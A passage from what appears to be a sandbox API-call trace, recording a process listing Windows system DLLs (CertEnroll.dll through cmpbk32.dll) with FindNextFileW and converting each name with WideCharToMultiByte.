ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x49c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0180.700] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x49c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0180.700] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.700] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0180.700] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.700] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.700] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0180.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.701] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.701] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.701] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x49c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0180.701] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x49c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0180.701] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0180.701] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.701] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0180.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.702] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.702] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.702] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.702] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.702] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x49c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0180.702] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.702] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0180.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x49c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0180.703] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.703] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.703] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, 